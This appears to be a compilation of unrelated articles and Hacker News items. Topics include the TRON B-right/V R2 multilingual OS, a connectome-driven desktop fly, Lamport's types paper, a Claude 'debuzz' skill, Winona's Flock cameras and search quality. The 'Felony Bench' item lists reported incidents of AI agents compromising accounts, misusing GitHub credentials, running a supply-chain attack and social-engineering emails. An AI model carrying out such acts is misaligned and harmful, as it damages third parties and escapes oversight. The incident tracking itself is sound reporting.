The True TRON Multilingual Environment Finally Appears

The BTRON3-specification "B-right/V" operating system for IBM-PC/AT compatibles was first marketed in Japan on July 18, 1998. Historically, B-right/V is a descendant of the "3B" operating system, which was designed for a TRONCHIP-based hardware platform called MCUBE that hit the Japanese market in 1995. The 3B operating system subsequently bifurcated into µBTRON-specification "B-right," which is used in Seiko Instruments Inc.'s BrainPad TiPO PDA, and B-right/V (B-right for DOS/V machines, which is what IBM-PC/AT compatibles are called in Japan). The code for both of these operating systems, which are based on a micro kernel design, is basically the same; there are only minor variations having to do with window functions, selectable colors, power saving, character input, etc., which are a result of the hardware limitations of handheld devices that do not use a keyboard.

There are, however, many differences between B-right/V and "B-right/V R2," the latter of which hit the Japanese market on November 12, 1999. The major difference is that B-right/V had only a partial implementation of the TRON Multilingual Environment. Specifically, its multilingual capabilities were based on a "single 48,400 character plane" (a plane is called a "script" in the TRON Architecture) into which multiple national character sets were loaded. The B-right/V R2 operating system, on the other hand, implements the true TRON Multilingual Environment, which is based on "multiple character planes of 48,400 characters" that can be switched in and out as required using "language specifier codes." [1] In fact, the current implementation has 31 such character planes defined for it, which means that it can handle a total of 1,500,400 characters. Needless to say, it is going to take some time to fill up that space.


[1] Some readers might be wondering why the "script planes" in the B-right/V R2 operating system are not switched in and out using "script switching codes." The answer is that the language specifier codes used for this purpose have "multiple functions," one of which is to switch in and out of script planes. In addition, they specify what script "group" is involved and what "language" the data are written in. For an introduction to the four layers of the TRON Multilingual Environment hierarchy (Font, Script, Group, and Language), please click here .

The B-right/V R2 script planes and their current contents are as follows:

System Script (0xFE21)
JIS levels 1 and 2,
JIS auxiliary kanji
Chinese GB 2312
Korean KS C 5601
6-point Braille
8-point Braille
Japanese Script 1 (0xFE22) Reserved
Japanese Script 2 (0xFE23) Reserved
Chinese Script 1 (0xFE24)
Simplified Chinese
additional characters
Chinese Script 2 (0xFE25) Same as above
Chinese Script 3 (0xFE26) Traditional Chinese
Chinese Script 4 (0xFE27) Same as above
Korean Script 1 (0xFE28)
Korean
additional characters
Korean Script 2 (0xFE29) Same as above
Various National Scripts (0xFE2a)
Unicode basic multilingual plane
(excluding Chinese characters)
Mojikyo Script 1 (0xFE2b) Konjaku Mojikyo characters
Mojikyo Script 2 (0xFE2c) Same as the above
Mojikyo Script 3 (0xFE2d) Same as the above
Mojikyo Script 4 (0xFE2e) Same as the above
(0xFE2f - - 0xFE3F) Reserved (17 planes)

One thing that is important to note here is that there is no official "TRON Character Set." The BTRON operating system merely provides a "framework," called "TRON Code," into which character sets that have, or will, come into wide use are loaded. Of course, once those character sets are loaded into the TRON Code framework, a de facto "TRON character set" comes into existence as can be seen above, but there are no TRON Project committees deciding which characters can or should be used by BTRON end users. The TRON policy is to register all characters and leave it to the end user to decide which characters he or she should employ in data processing. In order to implement this policy, the TRON Project has also created a character registration center (officially called the " TRON Character Resource Center ") on the Internet through which new characters can be added to the TRON character set. As long as the source of new characters is clear and there are no copyright complications involved, the character or characters will be registered free of charge and made available for downloading by BTRON user community.

Another thing that it is important to note--which no doubt is something that any Unicode folks reading this article would like to point out--is that the exact same Chinese character can appear on different planes in the TRON character set. That is absolutely correct, and it is in fact the reason that only a BTRON-specification computer can used used to discuss via e-mail the "unification" that the Unicode movement is undertaking, and it is why only a BTRON-specification computer can print out the entire Unicode specification. In other words, the lack of unification is not viewed as something bad, but rather as something that is good. There is, of course, the chance that the user will not be aware of what character plane he or she is dealing with. However, there are ways of checking. Hexadecimal savvy users merely have to check the language specifier codes given in the parentheses above, and ordinary users can pull a character into the Character Search Utility (see "New Utility for Searching for Kanji "below). Finally, since there are disagreements among specialists about what is and is not a "distinct Chinese character," a "thesaurus-like function" is also under development to give end users information to make their own judgments.

However, improvements to character-related functions in the B-right/V operating system that appeared with Release 2 are not limited to solely to the processing of kanji . As the following list of character-related improvements shows, proportional font compatibility and word wrap functions have been added. These functions are necessary for processing languages that are written with the Latin script. Moreover, there is also a multi-font function, which is necessary for doing high-quality word processing and desk-top publishing.

  • Multi- kanji , multilingual functions
  • Character Search Utility that can find kanji using elements, readings, and number of strokes
  • Multi-font function
  • Proportional font compatibility
  • Gray scale font function
  • Word wrap function
  • Function for displaying a list of candidates for kana -to- kanji conversion
  • Function for customizing kana -to- kanji operations

Among the kanji -related processing functions in the above list, the Character Search Utility, which will be described below, is essential to enable the end user to easily find his or her way through the large kanji character sets that come with B-right/V R2. But that utility is only necessary when the Japanese-language input system ( kana -to- kanji conversion) does not output he desired characters. Thus it is important to note that the functionality of the Japanese-language input system has also been improved. The list display function makes it easier to select among the conversion candidates in input dictionaries, and the customization function makes it possible for the end user to match the input functions to his or her typing habits and even allocate key assignments.

New Utility for Searching for Kanji

TRON Project Leader Ken Sakamura has been saying for years that you can not just stuff a large number of kanji into a personal computer system and hope the end user will make good use of them. To use such a computer system, a function that makes it possible for the user to easily find the necessary characters is also required. Thus it is only natural that along with B-right/V R2's impressive unabridged kanji character set comes an extremely easy to use Character Search Utility that can--according to various specified search criteria--spit out huge lists of kanji in a flash. Perhaps the most remarkable thing about this utility is that it makes it possible to search for kanji without even knowing the "radicals" according to which the kanji are listed in traditional dictionaries. This is truly a revolutionary development for students beginning their study of Japanese.

As can be seen in Fig. 1, the Character Search Utility is a panel that fills a small section of the screen of a personal computer. The utility has three functions--the tabs at the top of the panel--that allow the user to select among: (1) viewing character codes, (2) searching for characters, and (3) looking up information about a character. In the example in Fig. 1, the Search function has been selected, and two radicals (basic elements used for sorting characters in traditional kanji dictionaries) have been input in the Search Key box. From left to right, these are kuchi hen ('mouth') and takumi hen ('carpenter's square'). Among the output characters, which cover two pages as indicated at the bottom of the panel, a character comprised of only these two radicals has been found on the Mojikyo Script 1 plane, and that character along with its character code has been displayed in the upper right hand corner for easy viewing. Please note that the output characters are color coded (black for JIS levels 1 and 2, blue for JIS auxiliary kanji , and green for non-JIS [ Konjaku Mojikyo ] characters), and that the "Enlarged Display" option has been selected in the lower left hand corner.

In addition to radicals, it is also possible to input the katakana pronunciations of the above radicals. Likewise, a character incorporating the same two elements can be used for searching for another character with the same two elements. Other search methods are based on arithmetic-like expressions. In Fig. 2, for example, the expression " too ('climb') minus mame hen ('bean') radical has been input, which yields the hatsugashira radical. In Fig. 3, the expression " kuchi hen ('mouth') times four" yields a huge list of characters, one of which on the Mojikyo Script 1 plane consists of exactly four mouth radicals.

The Character Search Utility can also be used for obtaining information about a kanji that one does not know. In Fig. 4, the user has selected the Character Information function of the Character Search Utility and has dragged and dropped a character listed under the uo hen (the 'fish' radical) into it. The following information about the character, which is on the Mojikyo Script 2 plane, has been output:

Mojikyo No. 046382, Uo Radical 10 strokes, Basic Character
Kan , gigi , ken , kon , nayamu , hararago , yamu , yamoo , hwan

Conversely, by dragging and dropping kanji from the Character Information function of the Character Search Utility, the user can also easily create a custom kana -to- kanji conversion dictionary for converting Japanese syllabic data written with the hiragana syllabary in kanji . As is shown in Fig. 5, the user has entered two kanji and their readings ( wanizame 'shark', and hararago 'hard roe') into a text real object (text file) titled " Uo Hen no Kanji Jisho (" Uo Hen Kanji Dictionary"). When the real object is closed (green dotted line) and the virtual object (link to that real object) is dragged and dropped into the User Dictionary registration panel (red dotted line), the user can then input the rare kanji using the operating system's kana -to- kanji conversion function.

One thing that is not shown here--but which is exceedingly important to remember is possible!--is a user employing the Character Search Utility to read data from Web pages on the Internet. That is to say, critics of the TRON Project believe that an unabridged kanji character set is unnecessary, since no one knows as many as 80,000 kanji . Accordingly, not listing all of those kanji in a computer system only seems logical. However, if as shown above, a user can easily learn the pronunciations and readings of an unknown kanji simply by dragging and dropping it from a Web page into the Character Search Utility panel on the screen of his/her personal computer, then lack of knowledge tens of thousands of obscure kanji is no problem at all. This Character Search Utility can also serve as a dandy learning tool, both for native speakers of Japanese and foreigners studying the language.

New Internet and Peripheral Device Features

As was stated in the first section of this article, the BTRON-specification computer was originally conceived as a real-time human-machine interface for a hypernetwork--specifically, the "TRON Hypernetwork"--in which every kind of computer device is linked together. Accordingly, networking functions are central to the BTRON computing model, and they are under constant development, both at Personal Media Corporation and at the Sakamura Laboratory on the University of Tokyo campus. The latest networking functions that have been added to the B-right/V R2 are as follows:

  • Dial-up (PPP) function for connecting to the Internet
  • E-mail software (freeware) bundled with the operating system
  • File transfer function (ftp)
  • Network printer function

The PPP function allows BTRON users to connect to Internet service providers via dial-up (public telephone) lines using a modem. Since there are not many areas in which cable modem and/or Digital Subscriber Line (DSL) service is currently available in Japan, this is an extremely important function for people using BTRON from home. The e-mail software, which is freeware application developed at the Sakamura Laboratory, is a new type of e-mail application based on BTRON programming concepts. The application is made up of a group of miniature applications that are started up as necessary to handling outgoing and incoming e-mail.

The file transfer protocol (ftp) function is for the BTRON Basic Browser, which it enables to download download software from the Internet. The BTRON Basic Browser has been greatly improved compared to its first release. It is now possible to set fonts, and there are four Save options. The user can save a Web page as HTML, the Web page itself, or as a TAD (TRON Application Data-bus) text or graphic file, which are referred to as "real objects." When a Web page is saved as a TAD text real object, for example, the layout changes, but it is possible to click on a link and open up the Web page to see the latest update. This is an advanced feature that is not available to most people using a personal computer to surf the World Wide Web.

Supporting various types of peripheral equipment is the hallmark of a good operating system, and B-right/V R2 is squarely aimed at that target. The latest additions for peripheral equipment support are as follows:

Peripherals
  • Wheel mouse and three-button mouse compatibility (middle button used for double clicking)
  • Function for setting the screen to non-standard sizes (e.g., 1024 x 480 dots)
  • Improved performance accessing HDDs and CD-ROMs using a DMA function
  • Addition of compatible printers and network adapters

For those who are unfamiliar with a "wheel mouse," it is in fact a PC mouse with a tiny wheel between the two keys that are respectively used for clicking and displaying pop-up menus. The wheel is used to scroll through pages, thus alleviating the need for the user to push page up/down keys, click scroll arrows, or drag scroll boxes.

The Future: Improving on New Basic Functions

The biggest problem that westerners have in evaluating Japan and/or Japanese technologies is that they believe what the U.S. is doing is the yardstick, and what Japan is doing should be evaluated according to that yardstick. Thus based on this "technocentric reasoning," if there is a higher penetration of personal computers in the U.S. than in Japan, then Japan is behind the U.S. in becoming "computerized." This reasoning, unfortunately, leaves aside the fact that millions of Japanese use "personal word processors," which are little more than specialized personal computers. Likewise, if several times more personal computer users access the Internet in the U.S. than in Japan, then Japan is behind the U.S. in "connectivity." This reasoning, unfortunately, leaves aside the fact that wireless usage in Japan--which is not to mention facsimile usage--is far higher than in the U.S. Moreover, this reasoning also leaves aside the fact that the overwhelming majority of the Web sites on the Internet have only English-language content!

Accordingly, when western analysts look at the BTRON subproject, they view it using the U.S. market as a yardstick. Since there are more application software programs that run on Microsoft Corporation's MS Windows or Apple Computer Inc.'s Macintosh operating systems than on B-right/V R2, then B-right/V R2 will go nowhere in the Japanese market. Unfortunately, that argument overlooks the fact that B-right/V R2 is all about bringing "new basic functions to the market," basic functions that neither Microsoft nor Apple are interested in providing to the Japanese people. BTRON3-specification B-right/V R2 is the first and only personal computer operating system that allows the Japanese people to write any word in their language. The Japanese people have only been able to do this on a personal computer since November 12, 1999--the day B-right/V R2 went on sale! Moreover, the BTRON3-specification operating system is the only operating system on the market that has a hypertext-like filing system. When this is improved to incorporate the HyperText Transfer Protocols of the Internet, it will be the only personal computer operating system to seamlessly integrate a personal computer filing system and the structure of the World Wide Web.

And so, this is where the immediate future of the B-right/V R2 operating system lies--in bringing new basic functions to the market and consistently improving upon them. One of the first improvements to the B-right/V R2 operating system will have to do with the TRON Multilingual Environment, which in the present implementation only realizes two layers (Font and Script) of the four-layer hierarchy (Font, Script, Group, and Language). Thus one of the coming improvements to the B-right/V R2 operating system will be the expansion of the language specifier codes to include the Group and Language layers. In addition, other key parts of the multilingual environment, such as algorithms for expressing the various languages in writing, will have to be developed. One important element of this work will be expanding the functionality of the Basic Text Editor, which currently only accepts left-to-right horizontal character input. In the future, it will have to accept both vertically written (top-to-bottom) input and right-to-left horizontal character input. In addition, various sorting algorithms, such those for putting word lists in alphabetical order, will have to be developed to deal with input data in various national languages.

There is, however, one U.S. market yardstick that the BTRON-specification operating system should be measured against. That yardstick is following through on what one has promised to end users. If one promises end users something and then does not follow through on that promise, that party is guilty of producing what is known as "vaporware," software that's all talk and no reality. Well, the TRON Project promised the world the best multilingual operating system on the planet back in 1987 at the Second TRON Project Symposium, and 12 years later it came through on that promise when it unveiled the B-right/V R2 operating system. And so if anyone wants to know where the BTRON3-specification B-right/V R2 operating system is headed, the answer is "exactly where its developers say it's headed." So stay tuned for some extraordinary developments in the world of personal computing that are going to take place on top of this unique and highly flexible operating system. The BTRON subarchitecture has only just started to show its greatness.

B-right/V R2 Software Available on the World Wide Web

Although not many third party commercial software applications exist for the B-right/V R2 operating system at present, there is a considerable number of freeware/shareware programs available for downloading from the Internet. A large list of these, the majority of which are freeware, is maintained at the following URL.

http://www.top.or.jp/~jnetwork/BTRON/BtronSoft.htm

As of this writing, 64 entries are listed there, including the B-right/V R2 development environment from Personal Media Corporation. Since they are described in Japanese, let me give the categories and number of programs below.

Internet: 3
Graphics/music: 4
Text: 3
Utiltities/accessories: 13
Operation-related: 5
Desktop-related: 5
Input-related: 9
Dictionaries: 6
Development-related: 7
Games/novels: 5
Data (clip art, character enlarger): 2
Peripheral/hardware/system-related: 2

B-right/V R2 users should continually check this Web page, since new entries are constantly added.

There is also a list of B-right/V R2 freeware that is maintained at the Yahoo! Japan Web site. The URL is:

http://download.yahoo.co.jp/vector/other/tron/


Show HN: A desktop fly drawn to the scent of vibecode

Hacker News
github.com
2026-08-21 11:19:00
Comments...
Original Article

DesktopFly — a 3D fruit fly

DesktopFly 🪰

A 3D fruit fly that lives on your macOS desktop — driven by a live spiking simulation of the real FlyWire connectome. It walks across your windows, grooms, sleeps, and decides to flee your cursor with the same neurons a real fly uses.

Fork of DenisSergeevitch/desktop-fly — this one gives the fly a sense of smell for vibecode.

It scans your disk for agent markers ( AGENTS.md , CLAUDE.md , .cursor/rules , .kiro/steering and ~40 more) and turns anything on screen that leads to them into an odour source: an editor or terminal window with the project open, a row in the front Finder window, a folder icon on the desktop. An open project smells strongest, a closed icon weakest, and the reach of each grows with how much vibecode it holds — a hub of six marked repos is smelled across the whole screen, a single weak folder only from nearby. The steering neurons then walk the fly there, and when the smell is far the population wakes up enough to make it fly.

Live brain window: 23,210 real neuron positions, spikes flashing

The fly's brain window: 23,210 real neuron soma positions from FlyWire v783, with live spikes flashing at real neuron locations. The two glowing yellow markers are the Giant Fibers — the escape command neurons. Click any region to stimulate it.

What's real

  • 23,210 neuron soma positions (of 139,255 in FlyWire v783) render the rotating brain window, colored by super-class (FlyWire's coarse cell-type grouping).
  • A 668-neuron circuit with ~19,000 real synaptic connections (synapse counts, signed by neurotransmitter prediction) runs as a 1 kHz leaky-integrate-and-fire (LIF) simulation:
    • LC4 (104) + LPLC2 (210) looming-detector visual neurons
    • DNp01 / Giant Fiber (GF) (2) — the escape command neuron
    • DNa01 + DNa02 (4) steering neurons · DNp09 (2) forward walking
    • DNg11 (6) grooming · MDN (4) backward walking ("moonwalker")
    • DNp02/DNp04/DNp11 (6) escape-maneuver (wing) neurons
    • their 330 strongest partners, including ascending (proprioceptive) and sensory (wind) neurons
  • Escape is not scripted. Your cursor's approach becomes looming input to the real LC4/LPLC2 cells; the fly takes off only when the Giant Fiber actually spikes through its real synapses — ~1,200 synapses of feedforward inhibition push back, which is why slow approaches are tolerated and fast lunges trigger escape in ~4 ms, just like the real animal.

The body itself is procedural (FlyWire is a brain connectome — no body geometry exists), with a tripod gait, visible wing-beat, altitude-scaled flight, grooming, and sleep postures.

Installation

Requirements: macOS 13+ , Xcode Command Line Tools (Swift 5.9+). No permissions or entitlements needed — everything it senses (cursor, window frames, clicks-as-taps, thermal state) is permission-free.

git clone https://github.com/DenisSergeevitch/desktop-fly.git
cd desktop-fly
./build.sh
./DesktopFly

A 🪰 item appears in the menu bar; quit from there. The fly wanders your desktop on a transparent, click-through overlay — it never intercepts your mouse or keyboard.

Controls (menu bar 🪰)

item effect
Pause / Resume freeze the world
Show/Hide Brain toggle the live brain window
Escape Test (loom) inject a looming stimulus, watch the GF fire
Move to Next Display hop the fly across monitors (shown when >1 display)
Add / Remove Fly extra flies (only fly #1 carries the brain)
Scare Flies startle everyone

The brain window is interactive : hovering pauses the rotation; clicking a region "optogenetically" stimulates the ~60 nearest circuit neurons for 400 ms. The fly's reaction is whatever the real network does downstream — click the Giant Fiber and it escapes; click DNg11 and it grooms; click one side's DNa01/02 and it turns.

How real neurons drive the body

body behavior driven by
escape takeoff DNp01 giant fiber spike
walk vs. rest, walking speed DNp09 rate
steering DNa01+DNa02 left−right rate difference
grooming DNg11 rate
backward scoot MDN burst
nervous darting LC4/LPLC2 population rate
wing-beat effort, threat wing-raise DNp02/04/11 rate
spontaneous takeoff whole-population arousal

The loop also closes body→brain: the gait rhythm feeds the circuit's real ascending (proprioceptive) neurons in phase with the legs, and fast cursor motion stimulates its sensory (wind) partners.

Desktop ecology (all permission-free macOS senses)

  • Window terrain : window top edges are ledges — the fly lands on them, walks along them, rides a window you drag, and startles when one closes under its feet.
  • Window looms : a window appearing near the fly feeds the looming pathway; the circuit decides whether to flee your dialogs.
  • Clicks are substrate taps ; clicking next to the fly startles it through the wind→GF pathway. Typing is vibration (idle-time API — knows when keys were pressed, never which).
  • Circadian rhythm : dawn/dusk activity peaks, midday siesta, night quiescence. Sleep : idle at night → it sleeps, breathing slowly, with raised arousal threshold; it grooms after waking.
  • Temperature : flies are ectotherms — a hot Mac is a faster fly.

Regenerating the data

data/ ships with compact derived files. To rebuild them from the raw FlyWire Codex dumps (~60 MB download):

mkdir -p /tmp/flywire && cd /tmp/flywire
B=https://storage.googleapis.com/flywire-data/codex/data/fafb/783
curl -O "$B/classification.csv.gz" -O "$B/coordinates.csv.gz" \
     -O "$B/connections.csv.gz" -O "$B/consolidated_cell_types.csv.gz"
cd - && python3 etl.py /tmp/flywire

Diagnostics

./DesktopFly --simtest        # circuit invariants: GF silent at rest, 4 ms loom latency, ...
./DesktopFly --behaviortest   # 17 end-to-end checks: stimulate neurons -> body reacts
./DesktopFly --snapshot f.png  # offscreen fly render
./DesktopFly --brainshot b.png # offscreen brain render

What's modeled vs. measured

Honesty section: the connectome gives wiring, not physiology. The LIF dynamics, neurotransmitter signs (ACh+, GABA−, Glu−), the gap-junction boost on LC→GF and wind→GF (documented electrical coupling), synaptic delays, and the sensory transduction (cursor → looming value) are standard modeling choices layered on the real graph. Everything downstream of the sensory neurons — who connects to whom, and how strongly — is FlyWire data.

License & citation

Code is MIT. The files in data/ are derived from FlyWire (FAFB v783) and are CC BY-NC 4.0 — see data/DATA_LICENSE.md . If you use this, cite:

Felony Bench

Hacker News
www.felonybench.com
2026-08-21 11:17:04
Comments...
Original Article

A benchmark you really don't want models to be saturated with.

Learn more

Score

↖ Most illegal Least illegal ↘

Scores indicate count of illegal activity. Higher is... you decide.

Company Felonies Description Date Source
Anthropic 1 Exploited auth failures in an API to cancel other people's gym classes ABC Australia
Meta 1 Compromise of an internal account at one company The Information
Anthropic 4 Unauthorized use of GitHub credentials; Dependabot supply-chain attack; social engineering email campaign; public exposure of a malicious DNS server AISI
OpenAI 2 Unauthorized use of GitHub credentials; public exposure of a malicious DNS server OpenAI AISI
OpenAI 1 Compromise of an internal account from a misconfigured CTF evaluation OpenAI
OpenAI 4 Compromise of internal accounts at four companies as part of the Hugging Face incident OpenAI Reuters
Anthropic 3 Compromise of internal accounts at three companies Anthropic
OpenAI 1 Compromise of Hugging Face during a model evaluation OpenAI

Methodology

Felony Bench counts unique instances where AI agents affect third-party entities. Escaping a sandbox alone does not constitute a counted incident. It is for these reasons that Frontier Security's Kimi K3 incident and Alibaba's ROME incident are not counted.

c100

Hacker News
caligra.com
2026-08-21 11:14:07
Comments...
Original Article

A Linux®-powered mini-PC, designed to run Workbench.

The c100 is designed for offices, workshops, labs, and factories. Built around a full-size mechanical keyboard, with tool storage and a removable lid. c100 folds with its magnetic hinge, for closed operation or reclaiming bench space.

Get c100 now from $1,400

  • 32GB RAM / 512GB SSD

    $1,400

    Add to Cart
  • 64GB RAM / 1TB SSD

    $2,799

    Add to Cart
  • All configurations include Caligra Workbench Operating System, keyboard, mouse, user-replaceable RAM/SSD/Bluetooth/Wi-Fi, hot-swappable low-profile Kailh switches, power supply, and direct support from Caligra engineers.

Code Obfuscation via Local Mixing

Hacker News
vitalik.eth.limo
2026-08-21 11:11:10
Comments...

I came to write THAT paper with Leslie Lamport

Hacker News
lawrencecpaulson.github.io
2026-08-21 10:46:01
Comments...
Original Article

21 Aug 2026

[ general type theory set theory memories ]

As people grow older, they grow wiser, or at least they think they do. Then it becomes their duty to impart their accumulated wisdom to the younger generation. Leslie Lamport made his name in distributed systems and fault tolerance. For many he is better known as the author of LaTeX , the famous macro package that makes Donald Knuth’s legendary TeX typesetting system usable for the rest of us. As Leslie grew older, he felt impelled to write a series of fairly wacky papers with titles such as “How to Write a Long Formula” . Another of these papers was called “Types Considered Harmful” , a diatribe against types in specification languages. Its title was an echo of a famous letter, “go to statement considered harmful” , by Edsger Dijkstra. The title of that letter (chosen by the journal editor) was subsequently borrowed by many authors who were against lots of things. Leslie was against types. But how did I get involved?

Types considered harmful

Leslie‘s thesis was that specification languages should be based on an untyped formalism (a sort of set theory) as opposed to a typed formalism. He advanced several arguments in favour: that untyped formalisms were more flexible; that typed formalisms raised numerous anomalies and issues; that what we would view as a type error in a specification would be detected anyway during verification.

There was some sense in this thesis. Type systems were in a state of flux in 1992 when that note was written. Coq (now Rocq) had only just appeared, and big changes were happening to Martin-Löf type theory. As for simple type theories, early implementations of HOL had been around only for a couple of years. It wasn’t clear what any typed calculus could do. Proof assistants did not yet support type classes. John Harrison was years away from introducing his trick to get low-budget dependent types , which works well enough to express $T^n$.

On the other hand, Lamport’s note was a mess. He seemed to be unfamiliar with any actual typed formalism and devoted most of his note to knocking down straw men. So when he submitted his note to TOPLAS for publication and it reached me to referee, my verdict was to reject. The other referee, David McAllester, reached the same verdict. That should’ve been that, but the editor, Andrew Appel, had other ideas.

“Put lipstick on it”

Debate is good, he said. These ideas deserve airing, or something of that sort. But we can’t allow errors in TOPLAS. Why don’t you join with Lamport as co-authors and transform the paper into something technically accurate but in the same spirit? I was game: I knew a fair bit about type systems and I also had my own untyped set-theoretic formalism ( Isabelle/ZF ), which I was happy to promote. David went along for a bit but soon dropped out. He was smart. 1

Leslie and I worked on the paper for a good while. It was a weird form of unwilling co-authorship, but somehow we managed. The new paper captured the core of Leslie‘s thesis while including a saner description of how types worked. Along the way, I witnessed Leslie’s unrivalled TeX mastery: low-level tricks that I have never encountered since.

A second round of review, oh God

Meanwhile, Andrew Appel had stepped down as TOPLAS editor. The new editor, Carl Gunter, had not been informed about the special status of this paper. So when it reached him, he sent it to fresh referees. This was not part of the plan. And the new referees also decided to reject the paper. One of the reports was incoherent. It obviously had been written while its author was suffering a fit of apoplexy. So then I contacted Carl and said, wait a minute, my rejection is worth nothing and this guy‘s rejection is somehow valid? Plus, he’s literally insane. So the paper appeared after all, with a disclaimer expressing wishes for a lively debate, etc. etc. etc. I’m not sure the debate ever happened.

In retrospect

And now we can ask how well Leslie’s thesis holds up 27 years later. It’s fair to say, not so well. Type systems have evolved considerably and they have proved their worth in numerous specification and verification tasks, some on an industrial scale.

Meanwhile, little progress has been made on the issues that plague set-theoretic formalisms. Without types you don’t have overloading of notation, which is trivial in principle (you can just use lots of different symbols), but a big deal in practice. And worse, the ability to write absolutely anything is mostly an invitation to make mistakes. Verification is an extremely expensive way to find such mistakes, and those you do not find could render your proofs worthless. As far as I know, even Lamport’s own specification language (TLA+) was eventually implemented with some type restrictions.

So, in fact, your specification language probably should be typed. But it is also still worth looking for ways to make set-theoretic notations work better.

Claudette: Make Claude Stop Talking Like a BuzzFeed Article

Hacker News
github.com
2026-08-21 10:31:52
Comments...
Original Article

Obviously it's common knowledge by now that Anthropic has solely trained claude on old Buzzfeed articles (explaining its love for 90s nostalgia). So Claude and I built a Claude Code skill ( /debuzz ) that takes Claude's last response and runs it through the Gemini CLI to translate it from talking like a millennial clickbait to regular English. We're thinking of calling it "Claudette" but Cat Wu is famously litigious so it's definitely absolutely not called "Claudette".

The problem

Claudette is our solution to Claude being a great engineer with one incurable condition: it talks like it's delivering a TED talk about its own pull request. You ask why a test is flaky and you get a "load-bearing assumption," three numbered revelations, and a solemn note that the third one is the most instructive yet . Nothing is ever just a bug. There is always a kicker.

This skill accepts that no amount of prompting fully cures this, and does the honest thing instead: it hands the response to a different model, Gemini (remember gemini from last summer?), whose only job is to say it like a human person. Claudette has pinky promised to print Gemini's translation verbatim, because letting Claude "tidy up" the translation reintroduces exactly the voice being removed.

Before / after

Before (Claude):

Here's where it gets interesting: the retry logic isn't just a nice-to-have — it's - the - load-bearing - assumption - of - the - entire - sync - pipeline. Three things jumped out at me, and the third one is the most instructive yet. [...] And third — and this is the kicker — the dedupe key includes a timestamp, which means retries are never actually deduplicated.

After ( /debuzz , colleague mode):

The sync pipeline's retry logic has three bugs. syncQueue.ts:142 swallows ETIMEDOUT instead of re-queuing the job. The backoff caps at 2 seconds, which is too low for mobile networks. And the dedupe key includes a timestamp, so retries are never deduplicated. Fix: strip the timestamp from the key, raise the cap to 30 seconds, and re-throw the timeout error.

Install

git clone https://github.com/adnanakil/nobuzz
mkdir -p ~/.claude/skills
cp -r nobuzz/debuzz ~/.claude/skills/

Requirements:

  • Claude Code
  • The Gemini CLI ( npm install -g @google/gemini-cli ), authenticated — run gemini once and use /auth , or set GEMINI_API_KEY .

Usage

Mode Audience What you get
colleague (default) An engineer Same content, every file path and code block intact, zero theatrics
manager A technical-adjacent manager What happened, why it matters, what's next — about a third the length, no code
director An executive Three to five sentences: outcome, impact, ask. Assumes thirty seconds of attention

With no text argument it translates Claude's previous reply. Paste text after the mode to translate that instead. It also triggers on natural phrases like "say that in normal english."

How it works

No magic. Claudette writes its previous reply to a temp file, pipes it through gemini -p "<plain-English style instructions>" , and prints Gemini's output verbatim. If Gemini errors (usually auth), you see the actual error — Claude only offers its own rewrite as a clearly labeled fallback, because a debuzzer that quietly asks the buzzer to debuzz itself is how you end up with a load-bearing translation.

License

MIT

WPD won't replace stolen Flock cameras, citing public trust

Hacker News
www.winonapost.com
2026-08-21 10:27:37
Comments...
Original Article

by CHRIS ROGERS

Following a public outcry over the use of the surveillance, the city of Winona announced on Wednesday that it will not replace its stolen Flock cameras, saying that although the cameras helped solve crimes and prevent harm, the community’s trust in police was more important. The Winona Police Department (WPD) used these automated license plate reader cameras to monitor all of the highways leading in and out of Winona for stolen vehicles, drivers with revoked licenses, and missing persons. On August 3, the WPD discovered that a vandal or vandals had cut off all eight of the city’s Flock cameras.

Flock cameras and similar systems have been controversial across the country for the potential misuse of the systems by local law enforcement and the potential of data sharing with third-party companies and the federal government. After the WPD cameras were stolen, hundreds of Winonans spoke out on social media over, criticizing the city for using them in the first place, praising the vandals, and urging the city not to replace them.

Over 900 people commented on a WPD post about the theft before the department restricted further comments. “ It’s almost like people don’t want to be watched 24/7,” one person wrote. I need to buy whoever did this a drink,” another stated. “ Hopefully it was a sworn officer, realizing that their duty to uphold the constitution necessitated the removal of the devices,” a third commenter quipped.

Flock offers free replacements for cameras damaged or destroyed by vandals, and most cities’ insurance policies would help cover replacement costs, roughly $3,000 a piece.

However, the WPD announced on Wednesday that it would not replace the cameras. In a statement , WPD leaders wrote that “Flock cameras have been an effective and impactful resource for law enforcement,” helping them locate a homicide suspect, find people in crisis to make sure they are safe, track down stolen cars, and solve hit-and-run cases, and that those uses have “been guided by clear policies, appropriate training, and ongoing oversight.”

“At the end of the day, however, our community’s trust is the foundation of effective policing, and we’ve worked hard to build and maintain that trust,” WPD leaders continued. “While Flock has been a valuable tool, we believe its use has contributed to growing concerns about trust in policing, both locally and across the state and nation. After careful consideration, [the] Winona PD has decided not to reinstall any Flock cameras in the city of Winona.”

Chris@winonapost.com

What We Lost When Search Stopped Making Us Think

Hacker News
blog.8ball.space
2026-08-21 10:16:17
Comments...
Original Article

I want to talk about something that's been on my mind for a while: search has quietly gotten worse over the past several years, and I think it's worth being honest about why, and what it's actually costing us.

Anyone who's pasted a specific error message into a search box recently knows the experience. The first several results are usually SEO content, the same underlying answer reworded a dozen different ways, padded with filler paragraphs before it even addresses the actual problem, because ranking algorithms have historically rewarded length and keyword density over direct usefulness. Mixed in increasingly are AI-generated pages that read confidently but occasionally get the actual technical details wrong, with no obvious signal to the reader that anything's off. Somewhere further down, if you're persistent, is often the original, genuinely useful answer, sometimes from a forum post years old, occasionally scraped and republished elsewhere with the context stripped out.

This isn't really anyone's fault in a simple sense. It's what happens when the economics of the web reward getting in front of an algorithm rather than being correct. That gap between "ranks well" and "is actually right" has always existed to some degree, but AI-generated content has widened it considerably, since it's now possible to produce large volumes of plausible-sounding text far faster than anyone can fact-check it, and ranking systems haven't fully caught up to distinguishing genuinely useful content from confident-sounding filler.

The response from several major search products has been to layer AI-generated summaries directly into results, effectively synthesizing an answer from whatever's been indexed, including the very content I just described. I understand the appeal from a product standpoint, it reduces the number of clicks needed to get an answer, which reads well in almost any metric. But it also means users are increasingly being handed a confident paraphrase instead of a source, with no easy way to verify whether that paraphrase is accurate unless they already know enough about the topic to catch an error. That's a strange thing to optimize for, since the people who most need a reliable answer are often the ones least equipped to spot when they've been given a wrong one.

What actually concerns me most isn't the quality of individual search results, it's what this shift is doing to the underlying skill of research itself. Holding a real question in your head, forming a hypothesis, checking it against multiple sources, and noticing when two sources disagree is a skill that gets sharper with practice and duller with disuse, the same as anything else. Every time someone accepts a generated summary at face value instead of following through to an actual source, that's a small rep they didn't do. It's not dramatic in the moment. It adds up slowly, the same way any skill quietly erodes when you stop exercising it, and you tend not to notice until you're actually asked to do the work yourself and find it harder than it used to be.

